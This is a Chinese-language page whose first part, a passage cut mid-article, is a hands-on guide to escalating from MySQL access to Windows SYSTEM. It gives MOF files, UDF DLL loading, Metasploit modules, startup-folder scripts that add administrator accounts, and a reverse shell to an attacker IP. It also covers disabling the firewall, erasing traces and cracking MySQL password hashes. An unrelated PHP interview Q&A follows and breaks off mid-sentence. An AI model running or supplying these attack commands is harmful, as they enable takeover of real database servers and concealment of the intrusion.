#pragma namespace("\\\\.\\root\\subscription") instance of __EventFilter as $EventFilter { EventNamespace = "Root\\Cimv2"; Name = "filtP2"; Query = "Select * From __InstanceModificationEvent " "Where TargetInstance Isa \"Win32_LocalTime\" " "And TargetInstance.Second = 5"; QueryLanguage = "WQL"; }; instance of ActiveScriptEventConsumer as $Consumer { Name = "consPCSV2"; ScriptingEngine = "JScript"; ScriptText = "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add")"; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; }; (上下拉动可完整查看) 通过 MySQL 查询将文件导入: 执行以下查询语句,将上面生成的 nullevt.mof 导入到 c:\windows\system32\wbem\mof\ 目录下在windows7 中默认是拒绝访问的。导入后系统会自动运行,执行命令 selectload_file('C:\\RECYCLER\\nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof'; msf 直接 mof 提权: msf 下的 exploit/windows/mysql/mysql_mof 模块提供了直接 mof 提权,不过该漏洞成功跟操作系统权限和 MySQL 数据库版本有关,执行成功后会直接反弹 Shell 到 meterpreter use exploit/windows/mysql/mysql_mof set rhost 192.168.157.1 //设置需要提权的远程主机IP地址 set rport 3306 //设置mysql的远程端口 set password root //设置mysql数据库root密码 set username root //设置mysql用户名 options //查看设置 run 0 技巧:要是能够通过网页连接管理(phpmyadmin),则可以修改 host 为“%”并刷新权限后,则可以通过 msf 等工具远程连接数据库。默认 Root 等账号不允许远程连接,除非管理员或者数据库用户自己设置。 方法1:本地登入 MySQL,更改 "MySQL" 数据库里的 "user" 表里的 "host" 项,将"localhost"改为"%" use mysql; update user set host = '%' where user = 'root'; FLUSH PRIVILEGES ; select host, user from user; 方法2:直接授权(推荐) 从任何主机上使用 Root 用户,密码:youpassword(你的root密码)连接到 MySQL 服务器 # mysql -u root -proot GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY 'youpassword' WITH GRANT OPTION; FLUSH PRIVILEGES; 推荐重新增加一个用户,在实际测试过程中发现很多服务器使用 Root 配置了多个地址,修改后可能会影响实际系统的运行。在实际测试过程中因此建议新增一个用户,授权所有权限,而不是直接更改 Root 配置。 2、udf 提权 UDF 提权是利用 MySQL 的自定义函数功能,将 MySQL 账号转化为系统 system 权限,利用条件的目标系统是 Windows(Win2000/XP/2003);拥有 MySQL 的某个用户账号,此账号必须有对 MySQL 的 insert 和 delete 权限以创建和抛弃函数,有 Root 账号密码Windows 下 UDF 提权对于 Windows2008 以下服务器比较适用,也即针对 Windows2000、Windows2003 的成功率较高。 UDF 提权条件: MySQL 版本大于 5.1 版本 udf.dll 文件必须放置于 MySQL 安装目录下的 lib\plugin 文件夹下。MySQL 版本小于 5.1 版本。udf.dll 文件在 Windows2003 下放置于 c:\windows\system32,在 Windows2000 下放置于 c:\winnt\system32。掌握的 MySQL 数据库的账号有对 MySQL 的 insert 和 delete 权限以创建和抛弃函数,一般以 Root 账号为佳,具备 Root 账号所具备的权限的其它账号也可以。可以将 udf.dll 写入到相应目录的权限。提权方法: 获取数据库版本、数据位置以及插件位置等信息 select version();//获取数据库版本 select user();//获取数据库用户 select @@basedir ;//获取安装目录 show variables like '%plugins%'; //寻找mysql安装路径 导出路径 C:\Winnt\udf.dll Windows 2000 C:\Windows\udf.dll Windows2003(有的系统被转义,需要改为C:Windowsudf.dll) MySQL 5.1 以上版本,必须要把 udf.dll 文件放到 MySQL 安装目录下的 libplugin 文件夹下才能创建自定义函数。该目录默认是不存在的,这就需要我们使用 webshell 找到 MySQL 的安装目录,并在安装目录下创建 libplugin 文件夹,然后将 udf.dll 文件导出到该目录即可。 在某些情况下,我们会遇到 Can't open shared library 的情况,这时就需要我们把 udf.dll 导出到 lib\plugin 目录下才可以,网上大牛发现利用 NTFS ADS 流来创建文件夹的方法 select @@basedir; //查找到mysql的目录 select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION'; //利用NTFS ADS创建lib目录 select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION';//利用NTFS ADS创建plugin目录 执行成功以后就会 plugin 目录,然后再进行导出 udf.dll 即可。 创建 cmdshell 函数,该函数叫什么名字在后续中则使用该函数进行查询 create function cmdshell returns string soname ‘lib_mysqludf_sys.dll’;执行命令 select sys_eval(‘whoami’); 一般情况下不会出现创建不成功哦。连不上 3389 可以先停止 windows 防火墙和筛选 select sys_eval(‘net stop policyagent’); select sys_eval(‘net stop sharedaccess’); udf.dll 下常见函数 cmdshell 执行cmd; downloader 下载者,到网上下载指定文件并保存到指定目录; open3389 通用开3389终端服务,可指定端口(不改端口无需重启); backshell 反弹Shell; ProcessView 枚举系统进程; KillProcess 终止指定进程; regread 读注册表; regwrite 写注册表; shut 关机,注销,重启; about 说明与帮助函数; 具体用户示例 select cmdshell('net user iis_user 123!@#abcABC /add'); select cmdshell('net localgroup administrators iis_user /add'); select cmdshell('regedit /s d:web3389.reg'); select cmdshell('netstat -an'); 清除痕迹 drop function cmdshell;//将函数删除 删除 udf.dll 文件以及其它相关入侵文件及日志。 常见错误 #1290 - The MySQL server is running with the --secure-file-priv option so it cannot execute this statement SHOW VARIABLES LIKE "secure_file_priv" 在 my.ini 或者 mysql.cnf 文件中注销 (使用#号) 包含 secure_file_priv 的行。 1123 - Can't initialize function 'backshell'; UDFs are unavailable with the --skip-grant-tables option,需要将 my.ini 中的 skip-grant-tables 选项去掉。 webshell 下 udf 提权: 通过集成 udf 提权的 webshell 输入数据库用户名及密码以及数据库服务器地址或者IP通过连接后导出进行提权。 MySQL 提权综合利用工具: v5est0r 写了一个 MySQL 提权综合利用工具,详细情况请参考其代码共享网站:https://github.com/v5est0r/Python_FuckMySQL,其主要功能有: 自动导出你的 backdoor 和 mof 文件;自动判断 MySQL 版本,根据版本不同导出 UDF 的 DLL 到不同目录,UDF 提权;导出 LPK.dll 文件,劫持系统目录提权;写启动项提权。UdF 自动提权 python root.py -a 127.0.0.1 -p root -e "ver&whoami" -m udf LPK 劫持提权 python root.py -a 127.0.0.1 -p root -e "ver&whoami" -m lpk启动项提权 python root.py -a 127.0.0.1 -p root -e "ver&whoami" –mst 例如通过 LOAD_FILE 来查看 MySQL 配置文件 my.ini,如果其中配置了 skip-grant-tables,这无法进行提权。 3、无法获取 webshell 提权 连接 MySQL: mysql.exe -h ip -uroot -pphpmyadminNavicat for MySQL查看数据库版本和数据路径: SELECT VERSION( ); Select @@datadir; 5.1 以下版本,将 dll 导入到 c:/windows 或者 c:/windows/system32/ 5.1 以上版本 通过以下查询来获取插件路径 SHOW VARIABLES WHERE Variable_Name LIKE "%dir"; show variables like '%plugin%' ; select load_file('C:/phpStudy/Apache/conf/httpd.conf') select load_file('C:/phpStudy/Apache/conf/vhosts.conf') select load_file('C:/phpStudy/Apache/conf/extra/vhosts.conf') select load_file('C:/phpStudy/Apache/conf/extra/httpd.conf') select load_file('d:/phpStudy/Apache/conf/vhosts.conf') 修改 MySQL.txt: MySQL.txt 为 udf.dll 的二进制文件转成十六进制代码。 先执行导入 ghost 表中的内容,修改以下代码的末尾代码:select backshell("YourIP",4444);导出文件到某个目录 导出过程: select data from Ghost into dumpfile 'c:/windows/mysqldll.dll'; select data from Ghost into dumpfile 'c:/windows/system32/mysqldll'; select data from Ghost into dumpfile 'c:/phpStudy/MySQL/lib/plugin/mysqldll'; select data from Ghost into dumpfile 'E:/PHPnow-1.5.6/MySQL-5.0.90/lib/plugin/mysqldll'; select data from Ghost into dumpfile 'C:/websoft/MySQL/MySQL Server 5.5/lib/plugin/mysqldll.dll' select data from Ghost into dumpfile 'D:/phpStudy/MySQL/lib/plugin/mysqldll.dll'; C:\ProgramData\MySQL\MySQL Server 5.1\Data\mysql/user.myd select load_file('C:/ProgramData/MySQL/MySQL Server 5.1/Data/mysql/user.frm'); select data from Ghost into dumpfile 'C:\Program Files\MySQL\MySQL Server 5.1\lib/plugin/mysqldll.dll' (上下拉动可完整查看) 查看 FUNCTION 中是否存在 cmdshell 和 backshell,存在则删除drop FUNCTION cmdshell;//删除cmdshell drop FUNCTION backshell;//删除backshell 创建backshellCREATE FUNCTION backshell RETURNS STRING SONAME 'mysqldll.dll'; //创建backshell在具备独立主机的服务器上执行监听nc -vv -l -p 44444执行查询select backshell("192.192.192.1",44444);//修改192.192.192.1为你的IP和端口获取 webshell 后添加用户命令: 注意如果不能直接执行,则需要到 c:\windows\system32\ 下执行 net user antian365 Www.Antian365.Com /add net localgroup administrators antian365 4、Sqlmap 直连数据库提权Sqlmap 直接连接数据库提权,需要有写入权限和 Root 账号及密码,命令如下: 连接数据库:sqlmap.py -d "mysql://root:123456@219.115.1.1:3306/mysql" --os-shell选择操作系统的架构,32 位操作系统选择 1,64 位选择 2自动上传 udf 或提示 os-shell执行 whomai 命令如果获取系统权限,则表示提权成功。 Msfudf 提权: Kali 渗透测试平台下执行(kali下载地址https://www.kali.org/downloads/) msfconsole use exploit/windows/mysql/mysql_payload options set rhost 192.168.2.1 set rport 3306 set username root set password 123456 run 0或者exploit msf 下 udf 提权成功率并不高,跟 windows 操作系统版本,权限和数据库版本有关,特别是 secure-file-priv 选项,如果有该选项基本不会成功。 5、启动项提权 创建表并插入 vbs 脚本到表中: 依次使用以下命令 show databases ; use test; show tables; create table a (cmd text); insert into a values ("set wshshell=createobject (""wscript.shell"" ) " ); insert into a values ("a=wshshell.run (""cmd.exe /c net user aspnetaspnettest/add"",0)") ; insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup Administrators aspnet /add"",0) " ); select * from a; 导出 vbs 脚本到启动: 使用以下命令将刚才在 a 表中创建的 vbs 脚本导出到启动选项中 select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs"; 导入成功后,系统重新启动时会自动添加密码为“1”且用户名称为“1”的用户到管理员组中。在实际使用过程中该脚本成功执行的几率比较低,有时候会出现不能导出的错误。 推荐使用以下脚本 show databases ; use test; show tables; create table b (cmd text); insert into b values ("net user Aspnet123545345!* /add"); insert into b values ("net localgroup administrators Aspnet /add"); insert into b values ("del b.bat"); select * from b into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\b.bat"; 该脚本执行后虽然会闪现 DOS 窗口,如果有权限导入到启动选项中,则一定会执行成功,在虚拟机中通过 MySQL 连接器连接并执行以上命令后,在“C:\Documents and Settings\All Users\「开始」菜单\程序\启动”目录中会有刚才导出的 b.bat 脚本文件。 说明:在不同的操作系统中“C:\Documents and Settings\All Users\「开始」菜单\程序\启动”目录文件名称可能会不同,这个时候就要将其目录换成相应的目录名称即可。例如如果是英文版本操作系统则其插入的代码为 select * from b into outfile "C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\b.bat"; Windows 2008 Server的启动目录为:C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\iis.vbs 其 vbs 方法可以参考如下写法 create table a (cmd text); insert into a values ("set wshshell=createobject (""wscript.shell"" ) " ); insert into a values ("a=wshshell.run (""cmd.exe /c net user antian365 qwer1234!@# /add"",0) " ); insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup Administrators antian365 /add"",0) " ); select * from a into outfile "C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\iis.vbs"; msf 下模块 exploit/windows/mysql/mysql_start_up 提权: use exploit/windows/mysql/mysql_start_up set rhost 192.168.2.1 set rport 3306 set username root set password 123456 run msf 下 mysql_start_up 提权有一定的几率,对英文版系统支持较好。 五、msf 其它相关漏洞提权 1、MySQL 身份认证漏洞及利用(CVE-2012-2122) 当连接 MariaDB/MySQL 时,输入的密码会与期望的正确密码比较,由于不正确的处理,会导致即便是 memcmp() 返回一个非零值,也会使 MySQL 认为两个密码是相同的。也就是说只要知道用户名,不断尝试就能够直接登入 SQL 数据库。按照公告说法大约 256 次就能够蒙对一次。受影响的产品: All MariaDB and MySQL versions up to 5.1.61, 5.2.11, 5.3.5, 5.5.22 存在漏洞MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 不存在漏洞MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not 不存在漏洞use auxiliary/scanner/mysql/mysql_authbypass_hashdump 2、exploit/windows/mysql/mysql_yassl_hello 3、exploit/windows/mysql/scrutinizer_upload_exec 六、MySQL 密码破解 1、Cain 工具破解 MySQL 密码 使用 UltraEdit-32 编辑器直接打开 user.MYD 文件,打开后使用二进制模式进行查看,在 Root 用户后面是一串字符串,选中这些字符串将其复制到记事本中,这些字符串即为用户加密值,例如 506D1427F6F61696B4501445C90624897266DAE3。 注意: root 后面的“*”不要复制到字符串中。在有些情况下需要往后面看看,否则得到的不是完整的 MYSQLSHA1 密码,总之其正确的密码位数是 40 位。安装 cain 工具,使用 cracker,右键单击“Add tolist”将 MySQL Hashes 值加入到破解列表中,使用软件中的字典、暴力破解等方式来进行暴力破解。 2、网站在线密码破解 cmd5.com 破解。将获取的 MySQL 值放在 cmd5.com 网站中进行查询,MySQL 密码一般都是收费的; somd5.com 破解。Somd5.com 是后面出现的一个免费破解网站,每次破解需要手工选择图形码进行破解,速度快,效果好,只是每次只能破解一个,而且破解一次后需要重新输入验证码。 3、Oclhash 破解 Hashcat 支持很多种破解算法,免费开源软件,官方网站 https://hashcat.net/hashcat/,破解命令 hashcat64.exe -m 200myql.hashpass.dict //破解MySQL323类型 hashcat64.exe -m 300myql.hashpass.dict //破解MySQL4.1/MySQL5类型 4、John the Ripper password cracker John the Ripper 下载地址:http://www.openwall.com/john/h/john179w2.zip,John the Ripper 除了能够破解 linux 外,还能破解多种格式的密码 Echo *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B>hashes.txt John –format =mysql-sha1 hashes.txt john --list=formats | grep mysql //查看支持mysql密码破解的算法 原文发布时间为:2018-06-7 本文作者:陈小兵 本文来自云栖社区合作伙伴“DBAplus社群”,了解相关信息可以关注“DBAplus社群”。
文章
关系型数据库  ·  MySQL  ·  PHP  ·  数据库  ·  Windows
2018-06-07
PHP面试题大全
一 、PHP基础部分1、PHP语言的一大优势是跨平台,什么是跨平台?PHP的运行环境最优搭配为Apache+MySQL+PHP,此运行环境可以在不同操作系统(例如windows、Linux等)上配置,不受操作系统的限制,所以叫跨平台2、WEB开发中数据提交方式有几种?有什么区别?百度使用哪种方式?Get与post两种方式区别:(1)url可见性:get 方式url参数可见,post 不可见(2)可缓存性:get 方式是可以缓存的,post 方式不可以缓存。(3)传输数据大小:get一般传输数据大小不超过2k-4k(根据浏览器不同,限制不一样,但相差不大);post 请求传输数据的大小根据php.ini 配置文件设定,也可以无限大。(4)数据传输上:get 方式通过url地址栏拼接参数进行传输,post 方式通过body体进行传输。建议:1、get式安全性较Post式要差些包含机密信息建议用Post数据提交式;2、做数据查询建议用Get式;做数据添加、修改或删除建议用Post方式;百度使用的get方式,因为可以从它的URL中看出3、掌握PHP的哪些框架、模板引擎、系统等框架:框架有很多,例如CI、Yii、Laravel等等,咱们学过的是thinkphp模板引擎:也有很多,在课本中有,咱们学过的是smarty系统:有很多,例如:康盛的产品(uchome、supesite、discuzX等),帝国系统、DEDE(织梦)、ecshop等,咱们学过的是DEDECMS、Ecshop4、说一下你所掌握的网页前端技术有哪些?熟练掌握DIV+CSS网页布局,JavaScript,jQuery框架、photoshop图片处理5、AJAX的优势是什么?ajax是异步传输技术,可以通过javascript实现,也可以通过JQuery框架实现,实现局部刷新,减轻了服务器的压力,也提高了用户体验。6、安全对一套程序来说至关重要,请说说在开发中应该注意哪些安全机制?(1)使用验证码防止注册机灌水。(2)使用预处理,绑定参数,参数过滤转义 防止sql注入(3)使用token防止远程提交,使用token验证登录状态。7、在程序的开发中,如何提高程序的运行效率?(1)优化SQL语句,查询语句中尽量不使用select *,用哪个字段查哪个字段;少用子查询可用表连接代替;少用模糊查询。(2)数据表中创建索引。(3)对程序中经常用到的数据生成缓存(比如使用redis缓存数据,比如使用ob进行动态页面静态化等等)。(4)对mysql做主从复制,读写分离。(提高mysq执行效率和查询速度)(5)使用nginx做负载均衡。(将访问压力平均分配到多态服务器)8、PHP可否与其它的数据库搭配使用?PHP与MYSQL数据库是最优搭配,当然PHP也可以去其它的数据库搭配使用,例如PostgreSql,SqlServer,Oracle,SqlLite等。9、现在编程中经常采取MVC三层结构,请问MVC分别指哪三层,有什么优点?MVC三层分别指:业务模型、视图、控制器,由控制器层调用模型处理数据,然后将数据映射到视图层进行显示。优点是:①可以实现代码的重用性,避免产生代码冗余;②M和V的实现代码分离,从而使同一个程序可以使用不同的表现形式10、对json数据格式的理解?JSON(JavaScript Object Notation)是一种轻量级的数据交换格式,json数据格式固定,可以被多种语言用作数据的传递。PHP中处理json格式的函数为json_decode( string json [, booljson[,boolassoc ] ) ,接受一个 JSON格式的字符串并且把它转换为PHP变量,参数json待解码的json string格式的字符串。assoc当该参数为TRUE时,将返回array而非object;Json_encode:将PHP变量转换成json格式。11、Print、echo、print_r有什么区别?(1) echo和print都可以做输出,不同的是,echo不是函数,没有返回值,而print是一个函数有返回值,所以相对而言如果只是输出echo会更快,而print_r通常用于打印变量的相关信息,通常在调试中使用。(2) print 是打印字符串(3)print_r 则是打印复合类型 如数组 对象12、SESSION与COOKIE的区别?(1)存储位置:session存储于服务器,cookie存储于浏览器(2)安全性:session安全性比cookie高(3)session为‘会话服务’,在使用时需要开启服务,cookie不需要开启,可以直接用13、PHP处理数组的常用函数?(重点看函数的‘参数’和‘返回值’)(1)array() 创建数组(2)in_array() 判断元素是否在数组中(3)count() 返回数组中元素的数目(4)array_merge() 将多个数组合并成一个数组(5)array_diff() 比较两个或两个以上数组的差异(6)array_intersect() 获取两个或两个数组以上的交集(7)array_keys() 获取数组的key列表(8)array_values() 获取数组的值列表(9)array_unique() 删除数组中的重复值(10)array_push()将一个或多个元素插入数组的末尾(入栈)(11)array_pop() 弹出并返回 array 数组的最后一个单元(出栈)(12)array_walk() 使用用户自定义函数对数组中的每个元素做回调处理14、PHP处理字符串的常用函数?(重点看函数的‘参数’和‘返回值’)(1)trim() 移除字符串两侧的空白字符和其他字符;(2)strlen() 获取字符串的长度(3)mb_strlen() 获取字符串长度(可指定字符编码,对中文字符串计算长度)(4)substr()返回字符串的一部分;(5)str_replace() 子字符串替换(6)str_repeat () 重复一个字符串(7)is_string() 检测变量是否是字符串;(8)str_shuffle () 随机打乱一个字符串(9)sprintf() 返回根据格式化字符串生成的字符串(通常用于获取分表后的数据表名)(10)strstr() 查找字符串的首次出现(11)addslashes 使用反斜线引用字符串15、PHP处理时间的常用函数?(重点看函数的‘参数’和‘返回值’)(1)date() 格式化一个本地时间/日期。(2)getdate() 取得日期/时间信息。(3)date_default_timezone_set() 设定默认时区。(4)date_default_timezone_get() 返回默认时区。(5)mktime() 返回一个日期的 Unix时间戳。(6)strtotime() 将任何字符串的日期时间描述解析为 Unix 时间戳(7)strftime() 根据区域设置格式化本地时间/日期16、PHP处理数据库的常用函数?(重点看函数的‘参数’和‘返回值’)请参照php手册,认真查看,此项非常重要17、PHP操作文件的常用函数?(重点看函数的‘参数’和‘返回值’)(1)打开文件 fopen()(2)读取文件 fgets() ; 注:file_get_contents()也是读取文件(3)写入文件fwrite() ; 注:file_put_contents()同样可以写入文件(4)关闭文件句柄 fclose()(5)移动 / 重命名文件 rename()(6)复制文件 copy()(7)创建文件 vim 或 touch(8)删除文件 unlink()(9)获取文件上次访问的时间 fileatime()(10)获取文件上次修改的时间 filemtime()(11)获取文件大小 filesize()(12)获取文件类型 filetype()(13)获取文件详细信息 state()(14)判断是否是目录 is_dir()18、PHP操作目录(文件夹)的常用函数?(重点看函数的‘参数’和‘返回值’)(1)打开目录 opendir()(2)读取目录 readdir()(3)删除目录 rmdir()(4)关闭目录句柄 closedir()(5)创建目录 mkdir()(6)返回路径中的目录部分 dirname()(7)取得当前工作目录 getcwd()(8)列出指定路径中的文件和目录 scandir()二 、数据库部分常见的关系型数据库管理系统产品有?答:Oracle、SQL Server、MySQL、Sybase、DB2、Access等。SQL语言包括哪几部分?每部分都有哪些操作关键字?答:SQL语言包括数据定义(DDL)、数据操纵(DML),数据控制(DCL)和数据查询(DQL)四个部分。数据定义:Create Table,Alter Table,Drop Table, Craete/Drop Index等数据操纵:Select ,insert,update,delete,数据控制:grant,revoke数据查询:select完整性约束包括哪些?数据完整性(Data Integrity)是指数据的精确(Accuracy) 和 可靠性(Reliability)。包括:(1)实体完整性:规定表的每一行在表中是惟一的实体。(2)域完整性:是指表中的列必须满足某种特定的数据类型约束,其中约束又包括取值范围、精度等规定。(3)参照完整性:是指两个表的主关键字和外关键字的数据应一致,保证了表之间的数据的一致性,防止了数据丢失或无意义的数据在数据库中扩散。(4) 用户定义的完整性:不同的关系数据库系统根据其应用环境的不同,往往还需要一些特殊的约束条件。用户定义的完整性即是针对某个特定关系数据库的约束条件,它反映某一具体应用必须满足的语义要求。什么是事务?及其特性?事务:是一系列的数据库操作,是数据库应用的基本逻辑单位。特性:(1)原子性:即不可分割性,事务要么全部被执行,要么就全部不被执行。(2)一致性或可串性。事务的执行使得数据库从一种正确状态转换成另一种正确状态(3)隔离性。在事务正确提交之前,不允许把该事务对数据的任何改变提供给任何其他事务,(4) 持久性。事务正确提交后,其结果将永久保存在数据库中,即使在事务提交后有了其他故障,事务的处理结果也会得到保存。简单理解:在事务里的操作,要么全部成功,要么全部失败。什么是锁?数据库是一个多用户使用的共享资源。当多个用户并发地存取数据时,在数据库中就会产生多个事务同时存取同一数据的情况。若对并发操作不加控制就可能会读取和存储不正确的数据,破坏数据库的一致性。加锁是实现数据库并发控制的一个非常重要的技术。当事务在对某个数据对象进行操作前,先向系统发出请求,对其加锁。加锁后事务就对该数据对象有了一定的控制,在该事务释放锁之前,其他的事务不能对此数据对象进行更新操作。基本锁类型:锁包括行级锁和表级锁什么叫视图?游标是什么?视图是一种虚拟的表,具有和物理表相同的功能。可以对视图进行增,改,查,操作,视图通常是有一个表或者多个表的行或列的子集。对视图的修改不影响基本表。它使得我们获取数据更容易,相比多表查询。游标:是对查询出来的结果集作为一个单元来有效的处理。游标可以定在该单元中的特定行,从结果集的当前行检索一行或多行。可以对结果集当前行做修改。一般不使用游标,但是需要逐条处理数据的时候,游标显得十分重要。什么是存储过程?用什么来调用?存储过程是一个预编译的SQL语句,优点是允许模块化的设计,就是说只需创建一次,以后在该程序中就可以调用多次。如果某次操作需要执行多次SQL,使用存储过程比单纯SQL语句执行要快。可以用一个命令对象来调用存储过程。索引的作用?和它的优点缺点是什么?索引就一种特殊的查询表,数据库的搜索引擎可以利用它加速对数据的检索。它很类似与现实生活中书的目录,不需要查询整本书内容就可以找到想要的数据。索引可以是唯一的,创建索引允许指定单个列或者是多个列。缺点是它减慢了数据录入的速度,同时也增加了数据库的尺寸大小。如何通俗地理解三个范式?第一范式:1NF是对属性的原子性约束,要求属性具有原子性,不可再分解;第二范式:2NF是对记录的惟一性约束,要求记录有惟一标识,即实体的惟一性;第三范式:3NF是对字段冗余性的约束,即任何字段不能由其他字段派生出来,它要求字段没有冗余。。什么是基本表?什么是视图?基本表是本身独立存在的表,在 SQL 中一个关系就对应一个表。视图是从一个或几个基本表导出的表。视图本身不独立存储在数据库中,是一个虚表试述视图的优点?(1) 视图能够简化用户的操作(2) 视图使用户能以多种角度看待同一数据;(3) 视图为数据库提供了一定程度的逻辑独立性;(4) 视图能够对机密数据提供安全保护。NULL是什么意思NULL这个值表示UNKNOWN(未知):它不表示“”(空字符串)。对NULL这个值的任何比较都会生产一个NULL值。您不能把任何值与一个 NULL值进行比较,并在逻辑上希望获得一个答案。使用IS NULL来进行NULL判断主键、外键和索引的区别?主键、外键和索引的区别定义:主键–唯一标识一条记录,不能有重复的,不允许为空外键–表的外键是另一表的主键, 外键可以有重复的, 可以是空值索引–该字段没有重复值,但可以有一个空值作用:主键–用来保证数据完整性外键–用来和其他表建立联系用的索引–是提高查询排序的速度个数:主键–主键只能有一个外键–一个表可以有多个外键索引–一个表可以有多个唯一索引你可以用什么来确保表格里的字段只接受特定范围里的值?Check限制,它在数据库表格里被定义,用来限制输入该列的值。说说对SQL语句优化有哪些方法?(选择几条)(1)Where子句中:where表之间的连接必须写在其他Where条件之前,那些可以过滤掉最大数量记录的条件必须写在Where子句的末尾.HAVING最后。(2)用EXISTS替代IN、用NOT EXISTS替代NOT IN。(3) 避免在索引列上使用计算(4)避免在索引列上使用IS NULL和IS NOT NULL(5)对查询进行优化,应尽量避免全表扫描,首先应考虑在 where 及 order by 涉及的列上建立索引。(6)应尽量避免在 where 子句中对字段进行 null 值判断,否则将导致引擎放弃使用索引而进行全表扫描(7)应尽量避免在 where 子句中对字段进行表达式操作,这将导致引擎放弃使用索引而进行全表扫描SQL语句中‘相关子查询’与‘非相关子查询’有什么区别?(1)非相关子查询是独立于外部查询的子查询,子查询总共执行一次,执行完毕后将值传递给外部查询。(2)相关子查询的执行依赖于外部查询的数据,外部查询执行一行,子查询就执行一次。因此非相关子查询比相关子查询效率高char和varchar的区别?char是一种固定长度的类型,varchar则是一种可变长度的类型。区别:char(M)类型的数据列里,每个值都占用M个字节,如果某个长度小于M,MySQL就会在它的右边用空格字符补足。(在检索操作中那些填补出来的空格字符将被去掉)。varchar(M)类型的数据列里,每个值只占用刚好够用的字节再加上一个用来记录其长度的字节(即总长度为L+1字节)。Mysql 的存储引擎,myisam和innodb的区别。MyISAM 是非事务的存储引擎;适合用于频繁查询的应用;表锁,不会出现死锁;不支持事务。适合小数据,小并发innodb是支持事务的存储引擎;适合于插入和更新操作比较多的应用;设计合理的话是行锁(最大区别就在锁的级别上);适合大数据,大并发。数据表类型有哪些MyISAM、InnoDB、HEAP、BOB,ARCHIVE,CSV等。MyISAM:成熟、稳定、易于管理,快速读取。一些功能不支持(事务等),表级锁。InnoDB:支持事务、外键等特性、数据行锁定。空间占用大,不支持全文索引等。MySQL数据库作发布系统的存储,一天五万条以上的增量,预计运维三年,怎么优化?(1)设计良好的数据库结构,允许部分数据冗余,尽量避免join查询,提高效率。(2) 选择合适的表字段数据类型和存储引擎,适当的添加索引。(3) 做mysql主从复制读写分离。(4)对数据表进行分表,减少单表中的数据量提高查询速度。(5)添加缓存机制,比如redis,memcached等。(6)对不经常改动的页面,生成静态页面(比如做ob缓存)。(7)书写高效率的SQL。比如 SELECT * FROM TABEL 改为 SELECT field_1, field_2, field_3 FROM TABLE.对于大流量的网站,您采用什么样的方法来解决各页面访问量统计问题?(1) 确认服务器是否能支撑当前访问量。(2) 优化数据库访问。(3)禁止外部访问链接(盗链), 比如图片盗链。(4)控制文件下载。(5)做负载均衡,使用不同主机分流。(6)使用浏览统计软件,了解访问量,有针对性的进行优化。三、 面向对象部分1、什么是面向对象?(理解着回答)面向对象是一种思想,是基于面向过程而言的,就是说面向对象是将功能等通过对象来实现,将功能封装进对象之中,让对象去实现具体的细节。面向对象有三大特征:封装性、继承性、多态性。现在纯正的OO语言主要是 Java 和 C#,PHP、C++也支持OO,C是面向过程的。2、简述 private、 protected、 public修饰符的访问权限。private : 私有成员, 在类的内部才可以访问。protected : 保护成员,该类内部和继承类中可以访问。public : 公共成员,完全公开,没有访问限制。3、堆和栈的区别?栈是编译期间就分配好的内存空间,因此你的代码中必须就栈的大小有明确的定义;堆是程序运行期间动态分配的内存空间,你可以根据程序的运行情况确定要分配的堆内存的大小。4、XML 与 HTML 的主要区别语法要求不同:(1)在html中不区分大小写,在xml中严格区分。(2)在HTML中,有时不严格,如果上下文清楚地显示出段落或者列表键在何处结尾,那么你可以省略或者之类的结束标记。在XML中,是严格的树状结构,绝对不能省略掉结束标记。(3) 在XML中,拥有单个标记而没有匹配的结束标记的元素必须用一个/ 字符作为结尾。这样分析器就知道不用查找结束标记了。(4)在XML中,属性值必须分装在引号中。在HTML中,引号是可用可不用的。(5)在HTML中,可以拥有不带值的属性名。在XML中,所有的属性都必须带有相应的值。(6) 在XML文档中,空白部分不会被解析器自动删除;但是html是过滤掉空格的。标记不同:(1)html使用固有的标记;而xml没有固有的标记。(2)Html标签是预定义的;XML标签是免费的、自定义的、可扩展的。作用不同:(1)html是用来显示数据的;xml是用来描述数据、存放数据的,所以可以作为持久化的介质!Html将数据和显示结合在一起,在页面中把这数据显示出来;xml则将数据和显示分开。 XML被设计用来描述数据,其焦点是数据的内容。HTML被设计用来显示数据,其焦点是数据的外观。(2)xml不是HTML的替代品,xml和html是两种不同用途的语言。 XML 不是要替换 HTML;实际上XML 可以视作对 HTML 的补充。XML 和HTML 的目标不同HTML 的设计目标是显示数据并集中于数据外观,而XML的设计目标是描述数据并集中于数据的内容。(3)对于XML最好的形容可能是: 